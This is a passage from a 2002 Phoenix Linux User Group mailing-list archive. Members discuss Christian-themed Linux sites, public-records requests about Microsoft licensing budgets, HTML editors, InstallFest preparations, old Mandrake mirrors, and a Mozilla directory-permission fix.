pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ I am very surprised to find that they are are not using Jesux (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its own BSD-style license, the Christian Software Public License. Check it out. ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9A571pNoctRtUIRQRAsLGAJwPnRgpnbWOsDm+TSTeLB0cCCRcOACePZNT ryBSNPw2eDae+vkQGCgkGbs= =UuD+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:16:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 9 Jun 2002 12:16:49 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091113.25378.lists@chevy-lemonade.com> Message-ID: <007401c20fea$3460acb0$6501a8c0@drghastly> Actually, it's roman in origin, so it's used by a lot of Christian religions. But enough of that discussion, heh. Very interesting site I must say. ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Sunday, June 09, 2002 11:13 AM Subject: Re: Linux for Christians > Don't know about the Crusifix, that's Catholic, but the Christianlinux.com > site has him with a cross on his chest. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:50:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 12:50:59 -0700 Subject: Request For Information: Microsoft Enterprise Agreement (fwd) In-Reply-To: References: Message-ID: <200206091251.03165.plug@the-arcanum.org> --------------Boundary-00=_Z4FGOXFXAB4CHB7WRNW2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I apologize for the last one, not sure what happened. I guess you can't u= se=20 gnumeric to edit a .csv file. but vi works fine. hope it works Am Freitag 07 Juni 2002 04:23 nachmittags schrieb Derek Neighbors: > FWIW here is town of Gilbert's response, this was returned in less than= 5 > minutes. I strongly urge anyone in Gilbert send similar requests and g= et > the council's ears perked. > > -Derek > > ---------- Forwarded message ---------- > Date: Fri, 7 Jun 2002 16:07:39 -0700 > From: George Pettit > To: "'derek@gnue.org'" > Cc: Shawn Woolley > Subject: RE: Request For Information: Microsoft Enterprise Agreement > > Dear Mr. Neighbors: > > I have forwarded your request regarding the Enterprise Agreement to Sha= wn > Woolley our Technology Services Director. If the Agreement is signed, = it > is a public record, and therefore available to you. > > The budget will be heard at a public hearing on June 25, 2002 at 6:30 p= m in > the Council Chambers, 1025 S Gilbert Road as part of the Agenda that > evening > > George Pettit > Manager > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Friday, June 07, 2002 4:02 PM > To: mayor@ci.gilbert.az.us; lesp@ci.gilbert.az.us; > davec@ci.gilbert.az.us; larrym@ci.gilbert.az.us; davep@ci.gilbert.az.us= ; > dons@ci.gilbert.az.us; steveu@ci.gilbert.az.us; georgep@ci.gilbert.az.u= s > Subject: Request For Information: Microsoft Enterprise Agreement > > > As a town of Gilbert citizen, taxpayer and technologist, I would like t= o > gather more information about the technology of Gilbert. As is a supri= se > to no one the convicted monopolist from Redmond, Microsoft, has laid an > edict that all Enterprise customers either sign long term agreements to > renew software licenses or suffer undue penalties. > > I am under the assumption that the current operating system platform of > choice for Gilbert is from Microsoft. I would like to know whether a > provision has been made in the upcoming years fiscal budget to subsidiz= e > the procurement of such an 'Enterprise Agreement'. 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plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:19:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 13:19:28 -0700 Subject: WYSIWYG Editor Message-ID: <200206092020.QAA16975@hostinworld6.com> Could anyone reccomend a good WYSIWYG HTML editor for linux? I really hate having to type out table html by hand. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:56:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 9 Jun 2002 13:56:47 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092020.QAA16975@hostinworld6.com> References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <0206091356470G.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Quanta does the formatting stuff internally and has its own preview function, or you can preview it with a number of other browsers. On Sunday 09 June 2002 13:19, you wrote: > Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > hate having to type out table html by hand. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQPBDysk3ywszI1FEQKcRgCg6oOVOD51dWWkMsRlFgRGUjx/aaoAoNr3 XHVy+7MYFn81ftsgJDz5aXyc =VApO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 21:11:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Sun, 9 Jun 2002 14:11:47 -0700 Subject: new cox broadband discussion newsgroup for unix Message-ID: <001901c20ffa$445d6fd0$0a64a8c0@internal.nutsac.org> cox.internet.discussion.unix took a while, but there it is! Mike Butash Email - mike@butash.net Knowledge is power. Power corrupts. Study hard, be evil. Education is no substitute for intelligence. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 21:27:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 14:27:48 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092020.QAA16975@hostinworld6.com> References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <200206091427.51467.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mozilla has a good one. My favorite is Quanta Plus It's not WYSIWYG but it has a nice table editor. quanta.sourceforge.net Am Sonntag 09 Juni 2002 01:19 nachmittags schrieb Bryce "C.": > Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > hate having to type out table html by hand. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9A8hXQ7yNnsYcupwRAtCmAJ96O517Q90LfDrEByn1iQnN8pbNZwCfSbsV xVXWDKMTmM6HE9EJImMgjt4= =kNBf -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:17:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 15:17:44 -0700 (MST) Subject: The word is out! In-Reply-To: Message-ID: Am 06. Jun, 2002 schwätzte alandd@mindspring.com so: > The demographic you describe is EXACTLY the demographic we want to reach > for this event. An Install Fest is mostly for people who aren't Linux > users but want to try it and maybe become a Linux user. Granted, the > usual meetings are more targeted toward Linux users but the Install Fest > is there to help new users get started. Alan's right. The people who listen to The Computer Corner are a major part of our target audience. We want them to know there's a local support network if they want to try GNU/Linux or *BSD. ciao, der.hans -- # https://www.LuftHans.com/ # Eternal vigilance is the price of liberty. -- Thomas Jefferson From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:21:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 15:21:02 -0700 (MST) Subject: Install Fest Status Report In-Reply-To: Message-ID: Am 31. May, 2002 schwätzte Jeff James so: > I have a Dell Optiplex GX150 which I've added a second drive to. It now > has one 10GB drive (Primary Partition) and one 20GB drive (split in two > using Partition Magic). I have three Distro's I would like to have > loaded onto this unit and would like to use a multi-boot option such as > LILO or GRUB. I have RedHat 7.3, SuSE 8.0, and Mandrake 7.1. The drives > are already DOS partitioned using Partition Magic. Would there be any > problems with bring this machine to the Install-Fest and having someone > set it up properly with all three Distro's ? I don't think I've seen an answer to this. We can certainly help you at the InstallFest. We should be able to help you get all 3 going if you show up early enough. I'm certain we'll suggest you go with ext3, reiser or xfs rather than dos partitions, though :). ciao, der.hans -- # https://www.LuftHans.com/ # "Science is like sex: sometimes something useful comes out, but # that is not the reason we are doing it." -- Richard Feynman From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:41:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Sun, 09 Jun 2002 15:41:20 -0700 Subject: WYSIWYG Editor References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <3D03D990.5020806@earthlink.net> I have tried a lot of wysiwyg editors and I have to say that coding by hand beats it all Greg Bryce C. wrote: >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really >hate having to type out table html by hand. > >Bryce C. >Network Administrator >CoBryce Communications >Bryce @ BryceCo . Net > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:02:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 9 Jun 2002 18:02:51 -0400 (EDT) Subject: WYSIWYG Editor In-Reply-To: <3D03D990.5020806@earthlink.net> Message-ID: Mozilla is extremely friendly, particularly the tabs to switch between source, preview, etc. Produces great source as WYSIWIGs go, but I'm still too anal to put it on a public machine before I clean it. If you do any significant volume, I'd have to agree with the opinion that hand coding is going to be most efficient. Once it becomes a natural language it's faster to not use the mouse if you have a powerful, extensible editor. But if (like me) you only do a few pages a month, a WYSIWIG may help. I haven't tried Quanta. On Sun, 9 Jun 2002, Greg Furmanek wrote: > I have tried a lot of wysiwyg editors and I have to say that coding by > hand beats it all > > Greg > > Bryce C. wrote: > > >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > >hate having to type out table html by hand. > > > >Bryce C. > >Network Administrator > >CoBryce Communications > >Bryce @ BryceCo . Net > > > > > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 17:36:17 -0700 (MST) Subject: crypto export from .us Message-ID: moin, moin, here's the advice debian got prior to deciding to finally allow crypto into main. Note that non-free and contrib must remain outside the .us. http://www.debian.org/legal/cryptoinmain ciao, der.hans -- # https://www.LuftHans.com/ # Strangers are friends just waiting to happen! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:51:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 17:51:38 -0700 (PDT) Subject: 50 OpenOffice/Mozilla CDs for InstallFest Message-ID: Alright, I've got 50 CDs burned with OpenOffice 1.0 and Mozilla 1.0, so we better have at least that many people at the InstallFest. ;-) Speaking of which, what kind of turn-outs has there been for previous InstallFests? 10 people? 100? 1000? Should I burn more CDs? :-) ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:57:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 17:57:18 -0700 Subject: Mandrake 6 Message-ID: <200206100058.UAA19497@hostinworld6.com> Does anyone know of a mirror that still has Mandrake _6_ on it? Mandrake 6 is the only version that will install on my laptop and my CD's got a scratch the size of the Grand Canyon. I've only found >=7 on the official mirrors but I was wndering if you knew of any others. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net P.S. Please do not try to persuade me to go with another distro. I've tried a couple others that might work well on a 486 but they just didn't on my laptop. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:01:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 18:01:57 -0700 Subject: WYSIWYG Editor In-Reply-To: Message-ID: <200206100102.VAA21006@hostinworld6.com> Thank you all. I usually only do a few pages a month but this summer I'm completely overhalling my website. I've trried Quanta before (I use it for my PHP/HTML) but now I need something that I don't have to for it to render. Something in the way of, GASP, M$ Frontpage. I will not use it though because it's a piece of junk but that's the sort of WYSIWYG I'm talking about. Thank You, Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 09 Jun 2002 18:02:51 -0400, Robert Bushman wrote: > Mozilla is extremely friendly, particularly the > tabs to switch between source, preview, etc. > Produces great source as WYSIWIGs go, but I'm > still too anal to put it on a public machine > before I clean it. > > If you do any significant volume, I'd have to > agree with the opinion that hand coding is going > to be most efficient. Once it becomes a natural > language it's faster to not use the mouse if you > have a powerful, extensible editor. But if (like > me) you only do a few pages a month, a WYSIWIG > may help. > > I haven't tried Quanta. > > On Sun, 9 Jun 2002, Greg Furmanek wrote: > > > I have tried a lot of wysiwyg editors and I have to say that coding by > > hand beats it all > > > > Greg > > > > Bryce C. wrote: > > > > >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > > >hate having to type out table html by hand. > > > > > >Bryce C. > > >Network Administrator > > >CoBryce Communications > > >Bryce @ BryceCo . Net > > > > > > > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "What can Americans do to stay safe after these attacks?" > "Buckle your seat-belt and quit smoking." > ------------------------------------------------------------------- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:11:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 18:11:20 -0700 (PDT) Subject: /usr/lib/mozilla-1.0.0 with perms of 700 Message-ID: Just in case anyone has encountered the same problem as I just did, the latest RPMs for Mozilla create the /usr/lib/mozilla-1.0.0 directory with permissions of 700, which makes it rather difficult to run mozilla as a regular user on your system. Just chmod 755 /usr/lib/mozilla-1.0.0 and you're good to go. ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:17:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 18:17:38 -0700 (PDT) Subject: Mandrake 6 In-Reply-To: <200206100058.UAA19497@hostinworld6.com> Message-ID: On 9 Jun 2002, Bryce C. wrote: > P.S. Please do not try to persuade me to go with another distro. I've > tried a couple others that might work well on a 486 but they just didn't > on my laptop. Hmm... Buy a new laptop? ;-) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:50:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sun, 9 Jun 2002 18:50:27 -0700 Subject: SonicWall and linux client Message-ID: <008801c21021$326bb580$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0085_01C20FE6.854017A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have been able to get Opera on Suse 7.3 to present itself to SoncWall = as IE 5, but it still won't let me through. The solution proposed by = sonic wall is to assign a Static ip address to my linux box and exepmt = that ip from the anti virus requirement. This is possible to do, but I = may have a hard time selling this idea to my employer. Is there any danger and if so how much, to running a linuxbox with no = anti virus protection on a network that is all win98 or XP workstations? = Many Linux servers, but this would be the first linux workstation. I've never heard of such a thing but is there antivirus software for = linux? Regards, Charlie ------=_NextPart_000_0085_01C20FE6.854017A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have been able to get Opera on Suse = 7.3 to=20 present itself to SoncWall as IE 5, but it still won't let me through. = The=20 solution proposed by sonic wall is to assign a Static ip address to = my=20 linux box and exepmt that ip from the anti virus requirement. This is = possible=20 to do, but I may have a hard time selling this idea to my = employer.
 
Is there any danger and if so how much, = to running=20 a linuxbox with no anti virus protection on a network that is all win98 = or XP=20 workstations? Many Linux servers, but this would be the first linux=20 workstation.
 
I've never heard of such a thing but is = there=20 antivirus software for linux?
 
Regards,
 
 
Charlie
 
 
------=_NextPart_000_0085_01C20FE6.854017A0-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:43:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Sun, 09 Jun 2002 19:43:25 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <3D04124D.8000100@earthlink.net> How about a linux distro specifically for non-christians? Buddists? Muslims? Hindu? btw: why everything on this planet has to be about religion? Isn't this why we have so many wars? Greg dennisk@sahuaro.f2s.com wrote: >Looking for something else on Google I stumbled on to The Linux for Christians >site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my favorite >OS's, Linux! What you will see here (provided you keep coming back) is a >repository of information pertaining to, how to, and why to, use Linux as a >Christian and in a Christian organization. > >And then there is: > >http://www.christianlinux.com/ > >I wonder if the LWN Penguin Gallery has their version of Tux wearing a >crusifix! > >Dennis > >------------------------------------------------- >Everyone should have http://www.freedom2surf.net/ >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:45:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 9 Jun 2002 19:45:53 -0700 Subject: 50 OpenOffice/Mozilla CDs for InstallFest In-Reply-To: References: Message-ID: <0206091945540L.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hopefully that will be more than enough. After all, not all home computer users need OO, but zilla 1.0 should be installed for them if they have the disk space. On Sunday 09 June 2002 17:51, you wrote: > Alright, I've got 50 CDs burned with OpenOffice 1.0 and Mozilla 1.0, so we > better have at least that many people at the InstallFest. ;-) Speaking > of which, what kind of turn-outs has there been for previous InstallFests? > 10 people? 100? 1000? Should I burn more CDs? :-) > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQQS4isk3ywszI1FEQKQVACg5KS/yD1AeJSUxEb5+DM98D4e8SIAoNFr NwyIgOODQP7Hz6FceYwF6Fl+ =6stE -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:58:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 09 Jun 2002 19:58:47 -0700 Subject: SonicWall and linux client In-Reply-To: <008801c21021$326bb580$6400a8c0@amd1000> References: <008801c21021$326bb580$6400a8c0@amd1000> Message-ID: <1023677931.3966.0.camel@desktop.capnet.lan> --=-8dYRHb0uE6ih4JkCsLVK Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-09 at 18:50, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall a= s IE 5, but it still won't let me through. The solution proposed by sonic w= all is to assign a Static ip address to my linux box and exepmt that ip fro= m the anti virus requirement. This is possible to do, but I may have a hard= time selling this idea to my employer. >=20 > Is there any danger and if so how much, to running a linuxbox with no ant= i virus protection on a network that is all win98 or XP workstations? Many = Linux servers, but this would be the first linux workstation. >=20 > I've never heard of such a thing but is there antivirus software for linu= x? >=20 > Regards, >=20 >=20 > Charlie >=20 >=20 Sure is, check at Tucows.com for a whole selection. --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-8dYRHb0uE6ih4JkCsLVK Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9BBXm6He1yLs+JHwRAs7iAJ9sFmaLsnKTZpnS0Qn1IxlBwhUZCwCfW1K2 FHZa/zVKkEVAQtoVS9Zx5gM= =wBwZ -----END PGP SIGNATURE----- --=-8dYRHb0uE6ih4JkCsLVK-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:06:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 20:06:08 -0700 Subject: Mandrake 6 In-Reply-To: Message-ID: <200206100306.XAA28986@hostinworld6.com> I don't have the money. I got this one for about $90US on my vacation to Vancouver, Canada. It's only 7 years old. On 09 Jun 2002 18:17:38 -0700, Matt Alexander wrote: > On 9 Jun 2002, Bryce C. wrote: > > > P.S. Please do not try to persuade me to go with another distro. I've > > tried a couple others that might work well on a 486 but they just didn't > > on my laptop. > > Hmm... Buy a new laptop? ;-) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:46:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Sun, 9 Jun 2002 13:46:14 -0700 Subject: PLUG-discuss digest, Vol 1 #2326 - 1 msg In-Reply-To: <200206091905.g59J53226929@PlugList.MyButt.Net> References: <200206091905.g59J53226929@PlugList.MyButt.Net> Message-ID: <200206091346.14667.dan_lund@hotmail.com> This has *got* to be a joke.... Reminiscent of Jesux... :) On Sunday 09 June 2002 12:05 pm, plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 1 > Date: Sun, 9 Jun 2002 10:46:46 -0700 > From: dennisk@sahuaro.f2s.com > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Linux for Christians > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > crusifix! > > Dennis From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:21:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 20:21:21 -0700 Subject: Linux for Christians In-Reply-To: <200206091131.19740.voltage_spike@fastmail.fm> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091131.19740.voltage_spike@fastmail.fm> Message-ID: <1023679281.3d041b314530a@webmail.freedom2surf.net> Quoting Voltage Spike : > -----BEGIN PGP SIGNED MESSAGE----- > I am very surprised to find that they are are not using Jesux > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its own > > BSD-style license, the Christian Software Public License. > > Check it out. ;-) > > - -- > Voltage Spike > ,,, And I bet Satan is NOT installed by default. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:23:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 12:23:15 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: References: Message-ID: <200206091223.15701.nathan@the-arcanum.org> --------------Boundary-00=_RUDGSF3QNIVZD7QU6FI7 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have an address list of all the state legislators, districts, emails, a= nd=20 phone numbers. If you're looking for a number, or want to create a large list fast, here= you=20 go. nathan Am Freitag 07 Juni 2002 04:19 nachmittags schrieb Derek Neighbors: > If you want your government to stop using Microsoft Products now is the > time to have your voice heard. It starts with local government. If yo= u > didnt know the State of Arizona budget is in the dumps, because all > governments under them (read county and city) get large sums of money > from the State they are hurting for money. > > It just so happens that this July is when most of the local governments > start a new fiscal year, which means this June (now) they are ADOPTING > budgets (planned spending) for the upcoming fiscal year. Many of them = are > faced with the choice on whether to renew Microsoft's 'Enterprise > Agreement' stiff arm. > > I urge you to PLEASE PLEASE PLEASE contact your district council person > (maricopa county) and your city council people and simply ask them. > > a. Do they plan to approve funding for the Enterprise Agreement? > b. If they do plan to do so, please provide you with a copy of the > agreement and the dollar amount to be expended. > c. When they will be hearing from the public on the budget, so if they = are > adopting you can have your voice heard publicly. > > > It may sound funny but I can speak from REAL experience if a council > person gets as few as 10 requests that are similar a red flag will be > raised and they will grill their technology departments on it. > > I have contacted the Town of Gilbert and Maricopa County already to > recieve such information, I suggest others follow and use your power as= a > citizen to make a difference. We have no one to blame but ourselves if= we > dont start to take a stand. > > > I dont have town information but county information is as follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=3DdistrictMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County Administrat= or > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 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Churches have similar budgetary constraints as schools. Therefore, they're a great place for Linux to expand its foothold with non-geeks. I'm agnostic, but as a Linux advocate, this looks like a perfect target market. On Sun, 9 Jun 2002, Dan Lund wrote: > This has *got* to be a joke.... > Reminiscent of Jesux... :) > > On Sunday 09 June 2002 12:05 pm, plug-discuss-request@lists.plug.phoenix.az.us > wrote: > > > Message: 1 > > Date: Sun, 9 Jun 2002 10:46:46 -0700 > > From: dennisk@sahuaro.f2s.com > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Linux for Christians > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Looking for something else on Google I stumbled on to The Linux for > > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > > > This is a very new site dedicated to the Christian use of one of my > > favorite OS's, Linux! What you will see here (provided you keep coming > > back) is a repository of information pertaining to, how to, and why to, use > > Linux as a Christian and in a Christian organization. > > > > And then there is: > > > > http://www.christianlinux.com/ > > > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > > crusifix! > > > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:47:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 20:47:49 -0700 Subject: Typical InstallFest install - hope not!! Message-ID: <1023680869.3d042165def64@webmail.freedom2surf.net> My boss picked up a new Sony Vaio at the Sony Store in Chicago this week so I decided to do a Mandrake install a la InstallFest to see how long it might take. Since the computer has one 6Gb partition with ME 